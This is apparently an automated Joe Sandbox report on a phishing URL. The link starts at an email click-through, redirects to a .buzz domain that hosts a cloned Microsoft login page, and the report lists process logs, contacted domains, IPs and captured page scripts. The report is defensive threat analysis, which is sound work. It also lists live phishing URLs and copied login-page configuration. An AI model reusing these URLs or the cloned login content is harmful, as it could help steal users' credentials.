Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 50030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49993 -> 443

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3568_899642208	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3568_899642208\sets.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3568_899642208\manifest.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3568_899642208\LICENSE	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3568_899642208\_metadata\	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3568_899642208\_metadata\verified_contents.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3568_899642208\manifest.fingerprint	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\chrome_BITS_3568_777110441

Jump to behavior

Source: classification engine

Classification label: mal64.phis.win@21/70@28/14

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1732 --field-trial-handle=1976,i,3409596119010317286,4100031707149322861,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://account.tctmagazine.com/emailclickthrough?TxActivity=239212&returnUrl=https://mighty-calm-plum-toucan.easy2.de/&Hash=1DD38A2BA32B80F59EA0F1A750C3EC0E"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1732 --field-trial-handle=1976,i,3409596119010317286,4100031707149322861,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Drive-by Compromise	Windows Management Instrumentation	2 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://account.tctmagazine.com/emailclickthrough?TxActivity=239212&returnUrl=https://mighty-calm-plum-toucan.easy2.de/&Hash=1DD38A2BA32B80F59EA0F1A750C3EC0E	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label	Link
https://interconnectednessresilient.buzz/favicon.ico	0%	Avira URL Cloud	safe
https://interconnectednessresilient.buzz/?7bk3o0j2b=aHR0cHM6Ly93d3cub2ZmaWNlLmNvbS9sb2dpbiM=	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
mighty-calm-plum-toucan.easy2.de	34.202.63.170	true	false	unknown
s-part-0016.t-0009.fb-t-msedge.net	13.107.253.44	true	false	high
d3tlllhky18vc.cloudfront.net	108.138.26.121	true	false	unknown
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
sni1gl.wpc.omegacdn.net	152.199.21.175	true	false	high
www.google.com	142.250.185.132	true	false	high
bunnyfonts.b-cdn.net	169.150.236.105	true	false	high
d-mb6d53h73l.execute-api.us-east-1.amazonaws.com	100.29.141.76	true	false	high
adproxy.abacuscloud.uk	52.164.226.60	true	false	unknown
perspectivemeaningful.buzz	23.95.206.235	true	false	unknown
d2rbklkmhbaoma.cloudfront.net	143.204.98.14	true	false	unknown
interconnectednessresilient.buzz	23.95.206.235	true	true	unknown
account.tctmagazine.com	unknown	unknown	true	unknown
static.web-repository.com	unknown	unknown	false	high
fonts.bunny.net	unknown	unknown	false	high
service-api.app-sources.com	unknown	unknown	false	high
aadcdn.msftauth.net	unknown	unknown	false	high
content.app-sources.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://fonts.bunny.net/css?display=swap&family=Open+Sans:regular%7CPlayfair+Display:italic%7CRoboto:300%7CHammersmith+One:regular	false		high
https://content.app-sources.com/s/87389112295097514/uploads/admin-files/EASY2_schwarz-4357245.png	false		high
https://content.app-sources.com/s/library/uploads/1_Pages/if_audio-video-outline-play_344692-4984036.png?format=webp	false		high
https://fonts.bunny.net/open-sans/files/open-sans-latin-400-normal.woff2	false		high
https://interconnectednessresilient.buzz/favicon.ico	false	Avira URL Cloud: safe	unknown
https://interconnectednessresilient.buzz/?7bk3o0j2b=aHR0cHM6Ly93d3cub2ZmaWNlLmNvbS9sb2dpbiM=	false	Avira URL Cloud: safe	unknown
https://static.web-repository.com/fonts/fontawesome-v6/fa-solid-900.woff2	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://fonts.bunny.net/roboto/files/roboto-latin-300-normal.woff)	chromecache_107.3.dr	false	high
https://content.app-sources.com/	chromecache_87.3.dr	false	high
https://wieistmeineip.de	sets.json.1.dr	false	high
https://mercadoshops.com.co	sets.json.1.dr	false	high
https://gliadomain.com	sets.json.1.dr	false	high
https://poalim.xyz	sets.json.1.dr	false	high
https://mercadolivre.com	sets.json.1.dr	false	high
https://reshim.org	sets.json.1.dr	false	high
https://fonts.bunny.net/open-sans/files/open-sans-latin-400-normal.woff2)	chromecache_107.3.dr	false	high
https://nourishingpursuits.com	sets.json.1.dr	false	high
https://static.web-repository.com	chromecache_87.3.dr	false	high
https://medonet.pl	sets.json.1.dr	false	high
https://fonts.bunny.net/hammersmith-one/files/hammersmith-one-latin-400-normal.woff2)	chromecache_107.3.dr	false	high
https://unotv.com	sets.json.1.dr	false	high
https://mercadoshops.com.br	sets.json.1.dr	false	high
https://joyreactor.cc	sets.json.1.dr	false	high
https://fonts.bunny.net/open-sans/files/open-sans-symbols-400-normal.woff)	chromecache_107.3.dr	false	high
https://zdrowietvn.pl	sets.json.1.dr	false	high
https://johndeere.com	sets.json.1.dr	false	high
https://fontawesome.com	chromecache_99.3.dr	false	high
https://songstats.com	sets.json.1.dr	false	high
https://baomoi.com	sets.json.1.dr	false	high
https://supereva.it	sets.json.1.dr	false	high
http://www.opensource.org/licenses/mit-license.php	chromecache_73.3.dr, chromecache_95.3.dr	false	high
https://elfinancierocr.com	sets.json.1.dr	false	high
https://bolasport.com	sets.json.1.dr	false	high
https://rws1nvtvt.com	sets.json.1.dr	false	high
https://desimartini.com	sets.json.1.dr	false	high
https://hearty.app	sets.json.1.dr	false	high
https://hearty.gift	sets.json.1.dr	false	high
https://mercadoshops.com	sets.json.1.dr	false	high
https://heartymail.com	sets.json.1.dr	false	high
https://nlc.hu	sets.json.1.dr	false	high
https://p106.net	sets.json.1.dr	false	high
https://radio2.be	sets.json.1.dr	false	high
https://fonts.bunny.net/open-sans/files/open-sans-latin-400-normal.woff)	chromecache_107.3.dr	false	high
https://finn.no	sets.json.1.dr	false	high
https://hc1.com	sets.json.1.dr	false	high
https://kompas.tv	sets.json.1.dr	false	high
https://mystudentdashboard.com	sets.json.1.dr	false	high
https://songshare.com	sets.json.1.dr	false	high
https://fonts.bunny.net/open-sans/files/open-sans-math-400-normal.woff2)	chromecache_107.3.dr	false	high
https://smaker.pl	sets.json.1.dr	false	high
https://mercadopago.com.mx	sets.json.1.dr	false	high
https://p24.hu	sets.json.1.dr	false	high
https://talkdeskqaid.com	sets.json.1.dr	false	high
https://24.hu	sets.json.1.dr	false	high
https://mercadopago.com.pe	sets.json.1.dr	false	high
https://cardsayings.net	sets.json.1.dr	false	high
https://text.com	sets.json.1.dr	false	high
https://fonts.bunny.net/playfair-display/files/playfair-display-latin-ext-400-italic.woff)	chromecache_107.3.dr	false	high
https://fonts.bunny.net/roboto/files/roboto-cyrillic-ext-300-normal.woff2)	chromecache_107.3.dr	false	high
https://mightytext.net	sets.json.1.dr	false	high
https://pudelek.pl	sets.json.1.dr	false	high
https://hazipatika.com	sets.json.1.dr	false	high
https://joyreactor.com	sets.json.1.dr	false	high
https://cookreactor.com	sets.json.1.dr	false	high
https://wildixin.com	sets.json.1.dr	false	high
https://fonts.bunny.net/playfair-display/files/playfair-display-latin-400-italic.woff)	chromecache_107.3.dr	false	high
https://eworkbookcloud.com	sets.json.1.dr	false	high
https://cognitiveai.ru	sets.json.1.dr	false	high
https://nacion.com	sets.json.1.dr	false	high
https://chennien.com	sets.json.1.dr	false	high
https://drimer.travel	sets.json.1.dr	false	high
https://fonts.bunny.net/roboto/files/roboto-cyrillic-300-normal.woff)	chromecache_107.3.dr	false	high
https://deccoria.pl	sets.json.1.dr	false	high
https://mercadopago.cl	sets.json.1.dr	false	high
https://talkdeskstgid.com	sets.json.1.dr	false	high
https://fonts.bunny.net/playfair-display/files/playfair-display-vietnamese-400-italic.woff)	chromecache_107.3.dr	false	high
https://naukri.com	sets.json.1.dr	false	high
http://www.opensource.org/licenses/mit-license.php)	chromecache_74.3.dr, chromecache_105.3.dr	false	high
https://interia.pl	sets.json.1.dr	false	high
https://fonts.bunny.net/open-sans/files/open-sans-latin-ext-400-normal.woff)	chromecache_107.3.dr	false	high
https://bonvivir.com	sets.json.1.dr	false	high
https://carcostadvisor.be	sets.json.1.dr	false	high
https://salemovetravel.com	sets.json.1.dr	false	high
https://sapo.io	sets.json.1.dr	false	high
https://fonts.bunny.net/open-sans/files/open-sans-greek-ext-400-normal.woff)	chromecache_107.3.dr	false	high
https://wpext.pl	sets.json.1.dr	false	high
https://fonts.bunny.net/open-sans/files/open-sans-greek-400-normal.woff2)	chromecache_107.3.dr	false	high
https://welt.de	sets.json.1.dr	false	high
https://poalim.site	sets.json.1.dr	false	high
https://drimer.io	sets.json.1.dr	false	high
https://infoedgeindia.com	sets.json.1.dr	false	high
https://blackrockadvisorelite.it	sets.json.1.dr	false	high
https://github.com/js-cookie/js-cookie	chromecache_73.3.dr, chromecache_95.3.dr	false	high
https://cognitive-ai.ru	sets.json.1.dr	false	high
https://fonts.bunny.net/roboto/files/roboto-greek-ext-300-normal.woff2)	chromecache_107.3.dr	false	high
https://cafemedia.com	sets.json.1.dr	false	high
https://graziadaily.co.uk	sets.json.1.dr	false	high
https://thirdspace.org.au	sets.json.1.dr	false	high
https://mercadoshops.com.ar	sets.json.1.dr	false	high
https://smpn106jkt.sch.id	sets.json.1.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
100.29.141.76	d-mb6d53h73l.execute-api.us-east-1.amazonaws.com	United States	14618	AMAZON-AESUS	false
34.202.63.170	mighty-calm-plum-toucan.easy2.de	United States	14618	AMAZON-AESUS	false
108.138.26.121	d3tlllhky18vc.cloudfront.net	United States	16509	AMAZON-02US	false
143.204.98.128	unknown	United States	16509	AMAZON-02US	false
143.204.98.14	d2rbklkmhbaoma.cloudfront.net	United States	16509	AMAZON-02US	false
23.95.206.235	perspectivemeaningful.buzz	United States	36352	AS-COLOCROSSINGUS	true
13.107.253.44	s-part-0016.t-0009.fb-t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.185.132	www.google.com	United States	15169	GOOGLEUS	false
108.138.26.118	unknown	United States	16509	AMAZON-02US	false
52.164.226.60	adproxy.abacuscloud.uk	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
169.150.236.105	bunnyfonts.b-cdn.net	United States	2711	SPIRITTEL-ASUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false

Private

IP
192.168.2.17
192.168.2.6

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1590973
Start date and time:	2025-01-14 15:54:35 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 33s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://account.tctmagazine.com/emailclickthrough?TxActivity=239212&returnUrl=https://mighty-calm-plum-toucan.easy2.de/&Hash=1DD38A2BA32B80F59EA0F1A750C3EC0E
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal64.phis.win@21/70@28/14

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.186.163, 142.250.185.238, 142.250.110.84, 172.217.18.14, 142.250.185.206, 142.250.186.78, 199.232.214.172, 2.17.190.73, 172.217.18.106, 142.250.186.106, 142.250.181.234, 142.250.186.42, 142.250.185.138, 142.250.186.138, 142.250.185.106, 172.217.16.138, 216.58.206.74, 172.217.18.10, 216.58.206.42, 172.217.16.202, 142.250.186.74, 142.250.184.202, 142.250.184.234, 142.250.185.74, 199.232.210.172, 142.250.181.238, 142.250.186.46, 20.190.159.68, 20.190.159.2, 20.190.159.0, 20.190.159.23, 20.190.159.75, 40.126.31.69, 20.190.159.64, 20.190.159.71, 40.126.32.133, 40.126.32.76, 40.126.32.134, 20.190.160.20, 20.190.160.17, 40.126.32.140, 40.126.32.74, 20.190.160.22, 142.250.184.206, 216.58.212.170, 142.250.185.234, 142.250.185.170, 142.250.185.202, 142.250.186.170, 52.182.143.208, 20.42.73.26, 142.250.186.67, 142.250.184.238, 34.104.35.123, 13.107.246.45, 2.23.242.162, 20.109.210.53
Excluded domains from analysis (whitelisted): azurefd-t-fb-prod.trafficmanager.net, slscr.update.microsoft.com, otelrules.afd.azureedge.net, www.tm.lg.prod.aadmsa.akadns.net, clientservices.googleapis.com, browser.events.data.trafficmanager.net, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, login.live.com, onedscolprdeus09.eastus.cloudapp.azure.com, update.googleapis.com, csp.microsoft.com, azurefd-t-prod.trafficmanager.net, onedscolprdcus04.centralus.cloudapp.azure.com, prdv4a.aadg.msidentity.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, aadcdnoriginwus2.azureedge.net, www.tm.v4.a.prd.aadg.trafficmanager.net, ctldl.windowsupdate.com, aadcdn.msauth.net, firstparty-azurefd-prod.trafficmanager.net, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, browser.events.data.microsoft.com, edgedl.me.gvt1.com, azureedge-t-prod.trafficmanager.net, aadcdnoriginwus2.afd.azureedge.net, clients.l.google.com, www.tm.lg.prod.aadmsa.trafficmanager.n
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://account.tctmagazine.com/emailclickthrough?TxActivity=239212&returnUrl=https://mighty-calm-plum-toucan.easy2.de/&Hash=1DD38A2BA32B80F59EA0F1A750C3EC0E

Input	Output
URL: https://account.tctmagazine.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://account.tctmagazine.com
URL: https://mighty-calm-plum-toucan.easy2.de/... Model: Joe Sandbox AI	{ "risk_score": 4, "reasoning": "The script contains some moderate-risk indicators, such as external data transmission to the 'service-api.app-sources.com' domain and the use of the legacy 'XDomainRequest' API. However, the script also includes some legitimate functionality, such as setting up Google Tag Manager consent management and a custom 'onReady' function. Overall, the script requires further review due to the unclear purpose and potential for aggressive behavior, but it does not appear to be overtly malicious." }
var WebPlatform = window.WebPlatform \|\| {}; WebPlatform.serviceApiDomain = "service-api.app-sources.com"; WebPlatform.hash = "OzNL0pJuEwONmkBrhnwiEOXv1N04PoaICG1jobhyrT7e2w6NxjKz2SZa0jZSBmHivrxX/+Cr4XolUe275c38YbeGAt+sMTyt07at6qonQn+XWS1Jjl5JChmPxuf1f7okRvLNb50ZFOJv+pxtzntnb9KOriq7YO/FrAlYavxCEXj7xBfOlirJyMT+2buL/rZK4j0r+xraxLC7hUUYz6z0/P/dHt1ssOMj7bMdoVynPAuLiB/4Ltg4I5GFf2TIjSu7cudoxNQy+DQoLYxWoJVkgg=="; WebPlatform.cookiesDisclaimer = ''.trim(); WebPlatform.cookiesInfoBtn = "".trim(); WebPlatform.cookiesInfoBtnLink = "".trim(); WebPlatform.cookiesAcceptBtnText = "".trim() \|\| 'OK'; WebPlatform.dateFormat = 'dd/mm/yy'; if (!WebPlatform.onReady) { WebPlatform.documentReadyRequests = []; WebPlatform.onReady = function (request) { if (WebPlatform.documentReadyRequests === null) request(); else WebPlatform.documentReadyRequests.push(request); }; } if (window.disableDefaultGtagConsentModeSetup !== true) { window.dataLayer = window.dataLayer \|\| []; window.defaultGoogleConsentState = 'granted'; function gtag() { dataLayer.push(arguments); } let defaultStateValue = window.defaultGoogleConsentState \|\| 'denied'; // or granted let defaultState = { 'ad_storage': defaultStateValue, 'ad_user_data': defaultStateValue, 'ad_personalization': defaultStateValue, 'analytics_storage': defaultStateValue }; try { let savedState = localStorage.getItem('gtagConsentModeSavedState'); if (savedState) { defaultState = JSON.parse(savedState) \|\| defaultState; } } catch (ex) { } defaultState.wait_for_update = 500; gtag('consent', 'default', defaultState); } if (!WebPlatform.merge) { WebPlatform.merge = function (target, source) { for (var key in source) if ((typeof target[key] === "undefined") \|\| target[key] === '') target[key] = source[key]; return target; }; }
URL: https://interconnectednessresilient.buzz/?7bk3o0j2... Model: Joe Sandbox AI	{ "risk_score": 7, "reasoning": "The script demonstrates several high-risk behaviors, including redirecting the user to an unknown domain and potentially collecting sensitive data (session ID) without transparency. While the script may have a legitimate purpose, the lack of context and the use of obfuscation techniques raise significant security concerns." }
//<![CDATA[ !function(){var e=window,s=e.document,i=e.$Config\|\|{};if(true){s&&s.body&&(s.body.style.display="block")}else if(!i.allowFrame){var o,t,r,f,n,d;if(i.fAddTryCatchForIFrameRedirects){try{o=e.self.location.href,t=o.indexOf("#"),r=-1!==t,f=o.indexOf("?"),n=r?t:o.length,d=-1===f\|\|r&&f>t?"?":"&",o=o.substr(0,n)+d+"iframe-request-id="+i.sessionId+o.substr(n),e.top.location=o}catch(e){}}else{o=e.self.location.href,t=o.indexOf("#"),r=-1!==t,f=o.indexOf("?"),n=r?t:o.length,d=-1===f\|\|r&&f>t?"?":"&", o=o.substr(0,n)+d+"iframe-request-id="+i.sessionId+o.substr(n),e.top.location=o}}}(); //
URL: https://interconnectednessresilient.buzz/?7bk3o0j2... Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "The provided JavaScript snippet contains several behaviors that raise moderate security concerns, including external data transmission, the use of fallback domains, and aggressive DOM manipulation. While the script appears to have a legitimate purpose related to authentication and authorization, the lack of transparency around the data being sent and the use of multiple domains, some of which may be untrusted, warrant further investigation. The overall risk score is in the medium range, indicating the need for closer scrutiny and potential mitigation measures." }
//<![CDATA[ $Config={"fShowPersistentCookiesWarning":false,"urlMsaSignUp":"https://login.live.com/oauth20_authorize.srf?client_id=4765445b-32c6-49b0-83e6-1d93765276ca\u0026scope=openid+profile+https%3a%2f%2fwww.office.com%2fv2%2fOfficeHome.All\u0026redirect_uri=https%3a%2f%2fwww.office.com%2flandingv2\u0026response_type=code+id_token\u0026state=CG6vf8AD7xjwi8-2CpcfENfrXNvXa1jbi1t0llxv9jNg9nxldPS8F0YJA7xbu2eYyX-Pu1ed_IPjzMOjPsXNWPYeUxpSR76_9fcTx98NWUgYD-fukGikNQ7RCUhtQE19wNqwNGcB5YwhV4trru3Tbsn9Yv705PXZbIXqVlPzCl870fMARWFxCRJCn5zvf17pwRoocopPas8IGjpWxKwbxng3XqKblTxMN0bbSzQ7kvyHPTj9quA-ranOeMMvsL_mH7onwqP4QabeDjBDpv5GxQ\u0026response_mode=form_post\u0026nononce=638724633745542364.YzY0NDAyYWEtY2EzOS00ZThjLThiY2ItYWQ3NWI0NmZmYzQ3ZGY3OWU4ZDctNmZkOC00NDAzLTgzMjQtZWVkMjMzMWNlNzRj\u0026x-client-SKU=ID_NET8_0\u0026x-client-Ver=7.5.1.0\u0026uaid=1c906801dcb449829e06c54374e3e1df\u0026msproxy=1\u0026issuer=mso\u0026tenant=common\u0026ui_locales=en-US\u0026signup=1\u0026lw=1\u0026fl=easi2\u0026epct=PAQABDgEAAABVrSpeuWamRam2jAF1XRQErh-yrFgL1MEnLKS8kB2xVHGoII2-5-QTXbVd8qFutFUBy64Y4nbXz1VmDjENqT2cbHekfR5_MFZj2zFZJ5saB2yvob428dFrifzzCzjVIeZ9Pv9I9OLIJvWgfTW4i_jqWymxReymR5gEq6VdntsY4ZwwLI7fiBZ-pWM5q7vasVMqFwkcf_nJrKtB3lgTwfLddrXrFM3ptugV8NZDAyv-iiAA\u0026jshs=0","urlMsaLogout":"https://login.live.com/logout.srf?iframed_by=https%3a%2f%2finterconnectednessresilient.buzz","urlOtherIdpForget":"https://login.live.com/forgetme.srf?iframed_by=https%3a%2f%2finterconnectednessresilient.buzz","showCantAccessAccountLink":true,"urlGitHubFed":"https://login.live.com/oauth20_authorize.srf?client_id=4765445b-32c6-49b0-83e6-1d93765276ca\u0026scope=openid+profile+https%3a%2f%2fwww.office.com%2fv2%2fOfficeHome.All\u0026redirect_uri=https%3a%2f%2fwww.office.com%2flandingv2\u0026response_type=code+id_token\u0026state=CG6vf8AD7xjwi8-2CpcfENfrXNvXa1jbi1t0llxv9jNg9nxldPS8F0YJA7xbu2eYyX-Pu1ed_IPjzMOjPsXNWPYeUxpSR76_9fcTx98NWUgYD-fukGikNQ7RCUhtQE19wNqwNGcB5YwhV4trru3Tbsn9Yv705PXZbIXqVlPzCl870fMARWFxCRJCn5zvf17pwRoocopPas8IGjpWxKwbxng3XqKblTxMN0bbSzQ7kvyHPTj9quA-ranOeMMvsL_mH7onwqP4QabeDjBDpv5GxQ\u0026response_mode=form_post\u0026nononce=638724633745542364.YzY0NDAyYWEtY2EzOS00ZThjLThiY2ItYWQ3NWI0NmZmYzQ3ZGY3OWU4ZDctNmZkOC00NDAzLTgzMjQtZWVkMjMzMWNlNzRj\u0026x-client-SKU=ID_NET8_0\u0026x-client-Ver=7.5.1.0\u0026uaid=1c906801dcb449829e06c54374e3e1df\u0026msproxy=1\u0026issuer=mso\u0026tenant=common\u0026ui_locales=en-US\u0026epct=PAQABDgEAAABVrSpeuWamRam2jAF1XRQE6ir4t0p2mprXLu4L6L3WWZubK44R1zSrcMZYFIZbOdSn3d5x8931BHmNAoLctBQlbGr0ngoDvmvyokEbEBx7Q9FTit99uBpyKECqoUSdKCe3NLqSBofZJWW_ybhEwF7eCE2yJl9C-xizr1L838L_80zQFOZbPt53WMNTuwdVxMYZtHnswjfObLnhRvsDeDeoY-CK2oEypXQdJeWaxzdVziAA\u0026jshs=0\u0026idp_hint=github.com","arrExternalTrustedRealmFederatedIdps":[],"fShowSignInWithGitHubOnlyOnCredPicker":true,"fEnableShowResendCode":true,"iShowResendCodeDelay":90000,"sSMSCtryPhoneData":"AF~Afghanistan~93!!!AX~land Islands~358!!!AL~Albania~355!!!DZ~Algeria~213!!!AS~American Samoa~1!!!AD~Andorra~376!!!AO~Angola~244!!!AI~Anguilla~1!!!AG~Antigua and Barbuda~1!!!AR~Argentina~54!!!AM~Armenia~374!!!AW~Aruba~297!!!AC~Ascension Island~247!!!AU~Australia~61!!!AT~Austria~43!!!AZ~Azerbaijan~994!!!BS~Bahamas~1!!!BH~Bahrain~973!!!BD~Bangladesh~880!!!BB~Barbados~1!!!BY~Belarus~375!!!BE~Belgium~32!!!BZ~Belize~501!!!BJ~Benin~229!!!BM~Bermuda~1!!!BT~Bhutan~975!!!BO~Bolivia~591!!!BQ~Bonaire~599!!!BA~Bosnia and Herzegovina~387!!!BW~Botswana~267!!!BR~Brazil~55!!!IO~British Indian Ocean Territory~246!!!VG~British Virgin Islands~1!!!BN~Brunei~673!!!BG~Bulgaria~359!!!BF~Burkina Faso~226!!!BI~Burundi~257!!!CV~Cabo Verde~238!!!KH~Cambodia~855!!!CM~Cameroon~237!!!CA~Canada~1!!!KY~Cayman Islands~1!!!CF~Central African Republic~236!!!TD~Chad~235!!!CL~Chile~56!!!CN~China~86!!!CX~Christmas Island~61!!!CC~Cocos (Keeling) Islands~61!!!CO~Colombia~57!!!KM~Comoros~269!!!CG~Congo~242!!!CD~Congo (DRC)~243!!!CK~Cook Islands~682!!!CR~Costa Rica~506!!!CI~Cte d\u0027Ivoire~225!!!HR~Croatia~385!!!CU~Cuba~53!!!CW~Curaao~599!!!CY
URL: https://interconnectednessresilient.buzz/?7bk3o0j2... Model: Joe Sandbox AI	{ "risk_score": 4, "reasoning": "The provided JavaScript snippet contains a mix of behaviors that warrant further review. While it does not exhibit any clear high-risk indicators, there are some moderate-risk factors present, such as external data transmission and the use of fallback domains. Additionally, the script appears to be related to authentication and authorization flows, which require careful scrutiny. Overall, the script exhibits a moderate level of risk and should be analyzed in more depth to determine its true intent and potential impact." }
